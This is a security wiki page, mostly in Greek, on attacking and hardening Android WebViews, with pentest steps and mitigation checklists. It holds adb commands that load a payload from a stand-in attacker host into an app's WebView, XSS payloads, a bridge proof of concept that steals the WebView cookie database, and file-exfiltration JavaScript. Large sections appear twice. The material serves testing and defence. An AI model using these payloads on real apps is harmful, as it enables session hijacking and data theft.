Webview Attacks

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Οδηγός για τις ρυθμίσεις του WebView και την ασφάλεια

Επισκόπηση ευπαθειών του WebView

Ένα κρίσιμο στοιχείο στην ανάπτυξη Android είναι ο σωστός χειρισμός των WebViews. Ο παρών οδηγός αναδεικνύει βασικές ρυθμίσεις και πρακτικές ασφαλείας για τη μείωση των κινδύνων που σχετίζονται με τη χρήση WebView.

Παράδειγμα WebView

Πρόσβαση αρχείων σε WebViews

Από προεπιλογή, τα WebViews επιτρέπουν πρόσβαση σε αρχεία. Αυτή η λειτουργία ελέγχεται από τη μέθοδο setAllowFileAccess(), διαθέσιμη από το Android API level 3 (Cupcake 1.5). Εφαρμογές με την άδεια android.permission.READ_EXTERNAL_STORAGE μπορούν να διαβάζουν αρχεία από το εξωτερικό αποθηκευτικό χώρο χρησιμοποιώντας το URI σχήμα αρχείων (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Αυτή η αποσυρθείσα λειτουργία επέτρεπε cross-origin αιτήματα από file URLs, θέτοντας σημαντικό κίνδυνο ασφάλειας λόγω πιθανών XSS attacks. Η προεπιλεγμένη ρύθμιση είναι απενεργοποιημένη (false) για εφαρμογές που στοχεύουν σε Android Jelly Bean και νεότερα.
  • Για έλεγχο αυτής της ρύθμισης, χρησιμοποιήστε getAllowUniversalAccessFromFileURLs().
  • Για τροποποίηση, χρησιμοποιήστε setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Αυτή η λειτουργία, επίσης αποσυρθείσα, έλεγχε την πρόσβαση σε περιεχόμενο από άλλες διευθύνσεις με σχήμα file. Όπως και η universal access, η προεπιλογή είναι απενεργοποιημένη για αυξημένη ασφάλεια.
  • Χρησιμοποιήστε getAllowFileAccessFromFileURLs() για έλεγχο και setAllowFileAccessFromFileURLs(boolean) για ρύθμιση.

Secure File Loading

Για την απενεργοποίηση της πρόσβασης στο file system ενώ εξακολουθεί να επιτρέπεται η πρόσβαση σε assets και resources, χρησιμοποιείται η μέθοδος setAllowFileAccess(). Σε Android R και νεότερα, η προεπιλεγμένη ρύθμιση είναι false.

  • Ελέγξτε με getAllowFileAccess().
  • Ενεργοποιήστε ή απενεργοποιήστε με setAllowFileAccess(boolean).

WebViewAssetLoader

Η κλάση WebViewAssetLoader είναι η σύγχρονη προσέγγιση για φόρτωση τοπικών αρχείων. Χρησιμοποιεί http(s) URLs για πρόσβαση σε τοπικά assets και resources, εναρμονίζοντας με την Same-Origin policy, διευκολύνοντας έτσι τη διαχείριση του CORS.

loadUrl

Αυτή είναι μια κοινή συνάρτηση που χρησιμοποιείται για να φορτώνει αυθαίρετα URLs σε ένα WebView:

webview.loadUrl("<url here>")

Φυσικά, ένας potential attacker δεν θα πρέπει ποτέ να μπορεί να control the URL που θα φορτώσει μια εφαρμογή.

JavaScript και Intent Scheme Handling

  • JavaScript: Απενεργοποιημένο από προεπιλογή σε WebViews, μπορεί να ενεργοποιηθεί μέσω setJavaScriptEnabled(). Συνιστάται προσοχή, καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλα μέτρα ασφαλείας μπορεί να εισάγει ευπάθειες ασφαλείας.
  • Intent Scheme: Τα WebViews μπορούν να χειριστούν το intent scheme, ενδεχομένως οδηγώντας σε exploits αν δεν γίνει προσεκτική διαχείριση. Ένα παράδειγμα ευπάθειας αφορούσε έναν εκτεθειμένο WebView παράμετρο “support_url” που μπορούσε να εκμεταλλευτεί για εκτέλεση cross-site scripting (XSS) attacks.

Ευάλωτο WebView

Παράδειγμα εκμετάλλευσης χρησιμοποιώντας adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Το Android παρέχει μια λειτουργία που επιτρέπει στο JavaScript σε ένα WebView να καλεί εγγενείς λειτουργίες εφαρμογής Android. Αυτό επιτυγχάνεται με τη χρήση της μεθόδου addJavascriptInterface, η οποία ενσωματώνει το JavaScript με τις εγγενείς λειτουργίες του Android, και αποκαλείται WebView JavaScript bridge. Απαιτείται προσοχή, καθώς αυτή η μέθοδος επιτρέπει σε όλες τις σελίδες εντός του WebView να έχουν πρόσβαση στο εγγεγραμμένο JavaScript Interface αντικείμενο, δημιουργώντας κίνδυνο ασφαλείας εάν ευαίσθητες πληροφορίες εκτεθούν μέσω αυτών των διεπαφών.

  • Απαιτείται εξαιρετική προσοχή για εφαρμογές που στοχεύουν σε εκδόσεις Android κάτω από 4.2 λόγω ευπάθειας που επιτρέπει remote code execution μέσω κακόβουλου JavaScript, εκμεταλλευόμενη reflection.

Υλοποίηση ενός JavaScript Bridge

  • JavaScript interfaces μπορούν να αλληλεπιδράσουν με native code, όπως φαίνεται στα παραδείγματα όπου μια μέθοδος κλάσης εκτίθεται στο JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge ενεργοποιείται προσθέτοντας ένα interface στο WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Πιθανή εκμετάλλευση μέσω JavaScript, για παράδειγμα, μέσω επίθεσης XSS, επιτρέπει την κλήση εκτεθειμένων μεθόδων Java:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Για να μειώσετε τους κινδύνους, περιορίστε τη χρήση του JavaScript bridge στον κώδικα που περιλαμβάνεται στο APK και αποτρέψτε τη φόρτωση JavaScript από απομακρυσμένες πηγές. Για παλαιότερες συσκευές, ορίστε το ελάχιστο API level σε 17.

Reflection-based Remote Code Execution (RCE)

  • Μια τεκμηριωμένη μέθοδος επιτρέπει την επίτευξη RCE μέσω reflection εκτελώντας ένα συγκεκριμένο payload. Ωστόσο, η annotation @JavascriptInterface αποτρέπει την μη εξουσιοδοτημένη πρόσβαση μεθόδων, περιορίζοντας την attack surface.

Remote Debugging

  • Remote debugging είναι δυνατή με τα Chrome Developer Tools, επιτρέποντας αλληλεπίδραση και αυθαίρετη εκτέλεση JavaScript εντός του περιεχομένου του WebView.

Enabling Remote Debugging

  • Remote debugging μπορεί να ενεργοποιηθεί για όλα τα WebViews σε μια εφαρμογή με:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Για να ενεργοποιήσετε το debugging κατά περίπτωση, με βάση την κατάσταση debuggable της εφαρμογής:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate αυθαίρετα αρχεία

  • Επιδεικνύει την exfiltration αυθαίρετων αρχείων χρησιμοποιώντας ένα XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

Οδηγός για τις WebView Configurations και την ασφάλεια

Επισκόπηση των WebView Vulnerabilities

Ένα κρίσιμο κομμάτι της ανάπτυξης Android περιλαμβάνει τη σωστή διαχείριση των WebViews. Αυτός ο οδηγός επισημαίνει βασικές ρυθμίσεις και πρακτικές ασφάλειας για να μετριάσει τους κινδύνους που σχετίζονται με τη χρήση του WebView.

Παράδειγμα WebView

Πρόσβαση αρχείων σε WebViews

Από προεπιλογή, τα WebViews επιτρέπουν πρόσβαση σε αρχεία. Αυτή η λειτουργία ελέγχεται από τη μέθοδο setAllowFileAccess(), διαθέσιμη από το Android API level 3 (Cupcake 1.5). Εφαρμογές με την άδεια android.permission.READ_EXTERNAL_STORAGE μπορούν να διαβάζουν αρχεία από τον εξωτερικό αποθηκευτικό χώρο χρησιμοποιώντας το σχήμα file URL (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Αυτή η αποσυρμένη λειτουργία επέτρεπε cross-origin αιτήματα από file URLs, δημιουργώντας σημαντικό κίνδυνο ασφάλειας λόγω πιθανών XSS attacks. Η προεπιλεγμένη ρύθμιση είναι απενεργοποιημένη (false) για εφαρμογές που στοχεύουν Android Jelly Bean και νεότερα.
  • Για να ελέγξετε αυτή τη ρύθμιση, χρησιμοποιήστε getAllowUniversalAccessFromFileURLs().
  • Για να τροποποιήσετε αυτή τη ρύθμιση, χρησιμοποιήστε setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Αυτή η λειτουργία, επίσης αποσυρμένη, ελέγχει την πρόσβαση σε περιεχόμενο από άλλες διευθύνσεις με το file scheme. Όπως και το universal access, η προεπιλεγμένη τιμή είναι απενεργοποιημένη για ενισχυμένη ασφάλεια.
  • Χρησιμοποιήστε getAllowFileAccessFromFileURLs() για έλεγχο και setAllowFileAccessFromFileURLs(boolean) για ρύθμιση.

Ασφαλής φόρτωση αρχείων

Για να απενεργοποιήσετε την πρόσβαση στο file system ενώ εξακολουθείτε να έχετε πρόσβαση σε assets και resources, χρησιμοποιείται η μέθοδος setAllowFileAccess(). Σε Android R και νεότερες εκδόσεις, η προεπιλεγμένη ρύθμιση είναι false.

  • Ελέγξτε με getAllowFileAccess().
  • Ενεργοποίηση ή απενεργοποίηση με setAllowFileAccess(boolean).

WebViewAssetLoader

Η κλάση WebViewAssetLoader είναι ο σύγχρονος τρόπος για τη φόρτωση τοπικών αρχείων. Χρησιμοποιεί http(s) URLs για πρόσβαση σε τοπικά assets και resources, ευθυγραμμιζόμενη με την Same-Origin policy, διευκολύνοντας έτσι τη διαχείριση CORS.

loadUrl

Αυτή είναι μια κοινή συνάρτηση που χρησιμοποιείται για να φορτώσει αυθαίρετα URLs σε ένα WebView:

webview.loadUrl("<url here>")

Φυσικά, ένας πιθανός επιτιθέμενος δεν θα πρέπει ποτέ να μπορεί να ελέγχει το URL που μια εφαρμογή πρόκειται να φορτώσει.

Deep-linking σε εσωτερικό WebView (custom scheme → WebView sink)

Πολλές εφαρμογές καταχωρούν custom schemes/paths που δρομολογούν ένα user-supplied URL σε ένα in-app WebView. Εάν το deep link είναι exported (VIEW + BROWSABLE), ένας επιτιθέμενος μπορεί να αναγκάσει την εφαρμογή να αποδώσει αυθαίρετο απομακρυσμένο περιεχόμενο μέσα στο πλαίσιο του WebView της εφαρμογής.

Τυπικό μοτίβο manifest (απλοποιημένο):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Συνήθης ροή κώδικα (απλοποιημένη):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Μοτίβο επίθεσης και PoC μέσω adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Επίπτωση: η απομακρυσμένη σελίδα τρέχει στο πλαίσιο της εφαρμογής WebView (cookies/session του προφίλ WebView της εφαρμογής, πρόσβαση σε οποιοδήποτε εκτεθειμένο @JavascriptInterface, πιθανή πρόσβαση σε content:// και file:// ανάλογα με τις ρυθμίσεις).

Hunting tips:

  • Κάντε grep στις decompiled πηγές για getQueryParameter("url"), loadUrl(, WebView sinks, και deep-link handlers (onCreate/onNewIntent).
  • Ελέγξτε το manifest για VIEW+BROWSABLE filters και custom schemes/hosts που αντιστοιχούν σε activities που αργότερα ξεκινούν ένα WebView.
  • Ελέγξτε αν υπάρχουν πολλαπλές deep-link διαδρομές (π.χ., μια “external browser” διαδρομή έναντι μιας “internal webview” διαδρομής) και προτιμήστε αυτή που εμφανίζεται μέσα στην εφαρμογή.

Ενεργοποίηση JavaScript πριν την επαλήθευση (order-of-checks bug)

Ένα συχνό λάθος hardening είναι η ενεργοποίηση του JavaScript ή η ρύθμιση χαλαρών WebView ρυθμίσεων πριν ολοκληρωθεί η τελική allowlist/verification του URL-στόχου. Εάν η επαλήθευση είναι ασυνεπής μεταξύ βοηθητικών μεθόδων ή συμβαίνει πολύ αργά, ένας επιτιθέμενος μέσω deep link μπορεί να φτάσει σε κατάσταση όπου:

  1. Οι ρυθμίσεις του WebView εφαρμόζονται (π.χ., setJavaScriptEnabled(true)), και
  2. Το μη έμπιστο URL φορτώνεται με το JavaScript ενεργοποιημένο.

Bug pattern (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Γιατί είναι εκμεταλλεύσιμο

  • Ασυνεπής κανονικοποίηση: helpers χωρίζουν/επανασυνθέτουν το URL διαφορετικά από τον τελικό έλεγχο, δημιουργώντας ασυμφωνίες που μπορεί να εκμεταλλεύτεί ένα κακόβουλο URL.
  • Λανθασμένη σειρά στο pipeline: η ενεργοποίηση του JS στο βήμα 2 εφαρμόζεται παγκοσμίως στο WebView instance, επηρεάζοντας την τελική φόρτωση ακόμη κι αν η επαλήθευση αποτύχει αργότερα.

Πώς να δοκιμάσετε

  • Κατασκευάστε deep-link payloads που περνούν τους πρώιμους ελέγχους και φτάνουν στη σελίδα ρυθμίσεων του WebView.
  • Χρησιμοποιήστε adb για να πυροδοτήσετε implicit VIEW intents που παραδίδουν μια παράμετρο url= ελεγχόμενη από εσάς:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Εάν exploitation επιτύχει, το payload σας εκτελεί JavaScript στο WebView της εφαρμογής. Από εκεί, ελέγξτε για εκτεθειμένες γέφυρες:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Οδηγίες άμυνας

  • Κανονικοποιήστε μία φορά· επικυρώστε αυστηρά σε μία και μοναδική πηγή αλήθειας (scheme/host/path/query).
  • Καλέστε μόνο setJavaScriptEnabled(true) αφού περάσουν όλοι οι έλεγχοι allowlist και αμέσως πριν τη φόρτωση αξιόπιστου περιεχομένου.
  • Αποφύγετε την έκθεση του @JavascriptInterface σε μη αξιόπιστες προελεύσεις· προτιμήστε έλεγχο ανά προέλευση.
  • Σκεφτείτε τη χρήση ξεχωριστών WebView για αξιόπιστο έναντι μη αξιόπιστου περιεχομένου, με JS απενεργοποιημένο από προεπιλογή.

JavaScript και Διαχείριση Intent Scheme

  • JavaScript: Απενεργοποιημένο από προεπιλογή στα WebViews, μπορεί να ενεργοποιηθεί μέσω setJavaScriptEnabled(). Συνίσταται προσοχή καθώς η ενεργοποίηση του JavaScript χωρίς κατάλληλα μέτρα ασφαλείας μπορεί να εισάγει ευπάθειες ασφαλείας.
  • Intent Scheme: Τα WebViews μπορούν να χειριστούν το intent scheme, ενδεχομένως οδηγώντας σε exploits εάν δεν διαχειριστούν προσεκτικά. Ένα παράδειγμα ευπάθειας αφορούσε έναν εκτεθειμένο παράμετρο WebView “support_url” που θα μπορούσε να εκμεταλλευτεί για να εκτελέσει cross-site scripting (XSS) attacks.

Ευάλωτο WebView

Παράδειγμα εκμετάλλευσης με χρήση adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Μια λειτουργία παρέχεται από το Android που επιτρέπει στην JavaScript σε ένα WebView να επικαλείται τις native Android app functions. Αυτό επιτυγχάνεται με τη χρήση της μεθόδου addJavascriptInterface, η οποία ενσωματώνει την JavaScript με τις native Android λειτουργίες, ονομαζόμενη WebView JavaScript bridge. Συστήνεται προσοχή καθώς αυτή η μέθοδος επιτρέπει σε όλες τις σελίδες εντός του WebView να έχουν πρόσβαση στο καταχωρημένο JavaScript Interface object, προκαλώντας κίνδυνο ασφαλείας εάν ευαίσθητες πληροφορίες εκτεθούν μέσω αυτών των interfaces.

  • Απαιτείται εξαιρετική προσοχή για εφαρμογές που στοχεύουν Android εκδόσεις κάτω από 4.2, λόγω ευπάθειας που επιτρέπει remote code execution μέσω κακόβουλης JavaScript, εκμεταλλευόμενη reflection.

Υλοποίηση JavaScript Bridge

  • JavaScript interfaces μπορούν να αλληλεπιδράσουν με native code, όπως φαίνεται στα παραδείγματα όπου μια μέθοδος κλάσης εκτίθεται στην JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge ενεργοποιείται προσθέτοντας μια διεπαφή στο WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Πιθανή εκμετάλλευση μέσω JavaScript, για παράδειγμα μέσω επίθεσης XSS, επιτρέπει την κλήση εκτεθειμένων μεθόδων Java:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Για να μειώσετε τους κινδύνους, restrict JavaScript bridge usage στο code που περιλαμβάνεται στο APK και αποτρέψτε τη φόρτωση JavaScript από απομακρυσμένες πηγές. Για παλαιότερες συσκευές, ορίστε το minimum API level σε 17.

Κατάχρηση dispatcher-style JS bridges (invokeMethod/handlerName)

Ένα συνηθισμένο μοτίβο είναι μία μοναδική εξαγόμενη μέθοδος (π.χ., @JavascriptInterface void invokeMethod(String json)) που αποσειριοποιεί JSON που ελέγχεται από επιτιθέμενο σε ένα γενικό αντικείμενο και δρομολογεί την κλήση με βάση το παρεχόμενο handler name. Τυπική μορφή JSON:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Κίνδυνος: αν οποιοσδήποτε εγγεγραμμένος handler εκτελεί προνομιακές ενέργειες πάνω σε δεδομένα του επιτιθέμενου (π.χ., άμεσες αναγνώσεις αρχείων), μπορείτε να τον καλέσετε ορίζοντας κατάλληλα το handlerName. Τα αποτελέσματα συνήθως επιστρέφονται στο context της σελίδας μέσω του evaluateJavascript και ενός μηχανισμού callback/promise που κλειδώνεται από το callbackId.

Βασικά βήματα ανίχνευσης

  • Απομεταγλωττίστε και κάντε grep για addJavascriptInterface( για να μάθετε το όνομα του bridge object (π.χ., xbridge).
  • Στα Chrome DevTools (chrome://inspect), πληκτρολογήστε το όνομα του bridge object στην Console (π.χ., xbridge) για να απαριθμήσετε τα εκτεθειμένα πεδία/μεθόδους· αναζητήστε έναν γενικό dispatcher όπως το invokeMethod.
  • Απαριθμήστε τους handlers αναζητώντας κλάσεις που υλοποιούν το getModuleName() ή registration maps.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Σημειώσεις

  • Οι διαδρομές της Cookie DB διαφέρουν ανά συσκευή/πάροχο. Συνηθισμένες:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • Ο handler επιστρέφει Base64· αποκωδικοποιήστε για να ανακτήσετε τα cookies και να προσποιηθείτε τον χρήστη στο WebView profile της εφαρμογής.

Detection tips

  • Προσέξτε μεγάλες αλυσίδες Base64 που επιστρέφονται μέσω evaluateJavascript κατά τη χρήση της εφαρμογής.
  • Κάντε grep στα decompiled sources για handlers που δέχονται uri/path και τα μετατρέπουν σε new File(...).

Παράκαμψη των WebView privilege gates – έλεγχοι host με endsWith()

Οι αποφάσεις προνομίων (η επιλογή μιας JSB-enabled Activity) συχνά βασίζονται σε host allowlists. Ένα εσφαλμένο μοτίβο είναι:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Ισοδύναμη λογική (νόμοι του De Morgan):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Αυτό δεν είναι έλεγχος origin. Πολλοί ανεπιθύμητοι hosts ικανοποιούν τη δεύτερη ρήτρα, επιτρέποντας σε μη αξιόπιστα domains να εισέλθουν στην privileged Activity. Πάντα επαληθεύετε το scheme και το host απέναντι σε μια αυστηρή allowlist (ακριβής αντιστοιχία ή σωστός έλεγχος υποτομέα με dot-boundaries), όχι κόλπα τύπου endsWith.

javascript:// execution primitive via loadUrl

Μόλις μέσα σε ένα privileged WebView, οι εφαρμογές μερικές φορές εκτελούν inline JS μέσω:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow triggers loadUrl("javascript:...") in that context, injected JS executes with bridge access even if the external page wouldn’t normally be allowed. Pentest steps:

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Προσπαθήστε να φτάσετε σε αυτές τις διαδρομές κώδικα αφού αναγκάσετε την πλοήγηση στο privileged WebView (π.χ. μέσω permissive deep link chooser).
  • Χρησιμοποιήστε το primitive για να καλέσετε τον dispatcher (xbridge.invokeMethod(...)) και να φτάσετε σε ευαίσθητους handlers.

Μέτρα μετριασμού (λίστα ελέγχου για developers)

  • Αυστηρή επαλήθευση origin για privileged Activities: canonicalize και συγκρίνετε scheme/host έναντι μιας ρητής allowlist· αποφύγετε ελέγχους βασισμένους σε endsWith. Consider Digital Asset Links όταν εφαρμόζεται.
  • Scope τα bridges μόνο σε trusted pages και επαληθεύστε ξανά την εμπιστοσύνη σε κάθε κλήση (per-call authorization).
  • Αφαιρέστε ή προστατέψτε αυστηρά filesystem-capable handlers· προτιμήστε content:// με allowlists/permissions αντί για raw file:// paths.
  • Αποφύγετε loadUrl("javascript:") σε privileged contexts ή περιορίστε το πίσω από ισχυρούς ελέγχους.
  • Να θυμάστε ότι το setAllowFileAccess(false) δεν προστατεύει απέναντι σε native file reads μέσω του bridge.

Απογραφή JSB και συμβουλές αποσφαλμάτωσης

  • Ενεργοποιήστε την απομακρυσμένη αποσφαλμάτωση του WebView για να χρησιμοποιήσετε την κονσόλα του Chrome DevTools:
  • Στην εφαρμογή (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • Σε επίπεδο συστήματος: modules like LSPosed or Frida scripts μπορούν να ενεργοποιήσουν εξαναγκαστικά την αποσφαλμάτωση ακόμη και σε release builds. Example Frida snippet for Cordova WebViews: cordova enable webview debugging
  • Στα DevTools, πληκτρολογήστε το όνομα του bridge object (π.χ. xbridge) για να δείτε τα εκτεθειμένα μέλη και να εξερευνήσετε τον dispatcher.

Reflection-based Remote Code Execution (RCE)

  • A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Απομακρυσμένη αποσφαλμάτωση

  • Remote debugging είναι δυνατή με Chrome Developer Tools, επιτρέποντας αλληλεπίδραση και αυθαίρετη εκτέλεση JavaScript μέσα στο περιεχόμενο του WebView.

Ενεργοποίηση απομακρυσμένης αποσφαλμάτωσης

  • Η απομακρυσμένη αποσφαλμάτωση μπορεί να ενεργοποιηθεί για όλα τα WebViews μέσα σε μια εφαρμογή με:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Για να ενεργοποιήσετε υπό όρους το debugging με βάση την debuggable κατάσταση της εφαρμογής:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate αυθαίρετα αρχεία

  • Δείχνει την exfiltration αυθαίρετων αρχείων μέσω ενός XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS μέσω Intent extras → loadData()

Μια συχνή ευπάθεια είναι η ανάγνωση δεδομένων που ελέγχονται από τον επιτιθέμενο από ένα εισερχόμενο Intent extra και η ένεσή τους απευθείας σε ένα WebView μέσω loadData() με ενεργοποιημένο JavaScript.

Vulnerable pattern (exported Activity reads extra and renders it as HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Αν εκείνο το Activity είναι exported (ή προσβάσιμο μέσω ενός exported proxy), μια κακόβουλη εφαρμογή μπορεί να παρέχει HTML/JS στο extra data για να επιτύχει reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Επιπτώσεις

  • Αυθαίρετο JS στο WebView του app: εντοπίστε/χρησιμοποιήστε @JavascriptInterface bridges, αποκτήστε πρόσβαση σε WebView cookies/local storage, pivot σε file:// ή content:// ανάλογα με τις ρυθμίσεις.

Μέτρα μετριασμού

  • Θεωρήστε όλες τις εισόδους που προέρχονται από Intent ως μη αξιόπιστες. Escape (Html.escapeHtml) ή απορρίψτε HTML· προτιμήστε την απόδοση μη αξιόπιστου κειμένου ως κείμενο, όχι ως HTML.
  • Διατηρήστε το JavaScript απενεργοποιημένο εκτός αν είναι απολύτως απαραίτητο· μην ενεργοποιείτε WebChromeClient για μη αξιόπιστο περιεχόμενο.
  • Αν πρέπει να αποδώσετε templated HTML, χρησιμοποιήστε loadDataWithBaseURL() με ασφαλές base και CSP· διαχωρίστε trusted/untrusted WebViews.
  • Αποφύγετε την έκθεση της Activity εξωτερικά ή προστατέψτε την με permissions όταν δεν απαιτείται.

Σχετικά

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks